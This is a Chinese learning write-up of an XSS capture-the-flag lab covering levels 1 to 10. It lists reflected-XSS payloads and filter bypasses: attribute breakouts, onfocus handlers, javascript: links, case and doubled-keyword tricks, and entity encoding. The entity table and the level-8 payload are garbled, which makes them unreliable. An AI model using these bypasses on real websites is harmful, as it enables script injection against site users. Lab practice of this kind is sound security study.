我的XSS挑战之旅

Level-1

发现参数name的内容是一个注入点,并且没有任何过滤
Payload: ?name=test<script>alert('xss')</script>

Level-2

和第一关差不多,输入
<script>alert('xxs')</script>
没有出现弹窗

查看一下源代码

直接用双引号闭合value,输入
"><script>alert('xxs')</script>

Level-3

查看源码,value为单引号闭合

输入
<script>alert('xxs')</script>
查看源代码,输入点在value属性里面

发现<和>被转义了成了>和<
在搜素框中输入
xss' οnfοcus=javascript:alert("xss") '
我们用javascript里边的onfocus事件,并且使用'把前面的value给闭合掉。


HTML转义常用字符
| 字符 | 十进制 | 转义字符 |
|---|---|---|
| " | " | " |
| & | & | &; |
| < | < | &It; |
| > | > | >; |
| 不断开空格(non-breaking space) |  ; | |
Level-4

在搜索框中输入
<script>alert('xxs')</script>
查看源码,输入点在value属性里面

发现过滤了<和>,用双引号"把value闭合。
继续在搜素框中输入
xss" οnfοcus=javascript:alert("xss") "

方法二:
输入
"οnfοcus=alert(1)

闭合了前面的双引号,但是后面多了一个双引号,用//注释掉,输入
"οnfοcus=alert(1)//

Level-5

在搜索框中输入
<script>alert('xxs')</script>
查看源码

发现script被转义为scr_ipt,使用超链接绕过,在搜素框中输入
"><a href="javascript:alert('xss')">test</a>

然后点击test

Level-6

在搜索框中输入
<script>alert('xxs')</script>
查看源码,和第5关一样,script被转义为scr_ipt

使用超链接绕过,发现不行
"><a href="javascript:alert('xss')">test</a>

查看源码,href被转义成了hr_ef

百度了一下,还能使用大小写进行绕过,将href写成HREF
"><a HREF="javascript:alert('xss')">test</a>

再点击test

Level-7

在搜索框中输入,查看源码,发现script被过滤
<script>alert('xxs')</script>

使用超链接绕过,不行
"><a href="javascript:alert('xss')">test</a>

大小写进行绕过,将href写成HREF,还是不行
"><a HREF="javascript:alert('xss')">test</a>
再使用双写进行绕过,双写href和javascript
"><a hrhrefef="javasscriptcript:alert('xss')">test</a>

成功

Level-8

在输入框中输入
javascript:alert('xss')
发现javascript被加上了下划线,变成了javascr_ipt

用Html实体编码绕过
HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&、#、;不能被过滤。
将javascript的script进行实体编码,unicode编码后的结果为javascript
输入
javascript:alert('xss')
点击友情链接

成功

Level-9

还是script被过滤,直接用上一关的payload
javascript:alert('xss')
提示连接不合法,要有http://关键字

添加的url有验证合法性,没有带http://则不合法,
方法一:
把http://放在alert里面
javascript:alert('http://www.baidu.com')
方法二:
把http://放在注释//后面
javascript:alert('xss')//http://www.baidu.com
点击友情链接,成功

Level-10
到了第10关页面页面,没有输入框了

构造payload
Payload:?keyword=javascript:alert('xss')
查看源码发现了几个input标签

不知道怎么办了,看了下大师傅们的wp,构造payload
Payload: ?keyword=&t_link=" type="text" 1&t_history=" type="text" 2&t_sort =" type="text" 3
payload后,还是没有变化

这是大师傅们payload后的代码
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""text"" type="hidden">
t_sort是注入点,直接注入
Payload: ?keyword = test&t_sort="type="text" onclick = "alert("xss")

一脸茫然,还是不知道怎么回事

浙公网安备 33010602011771号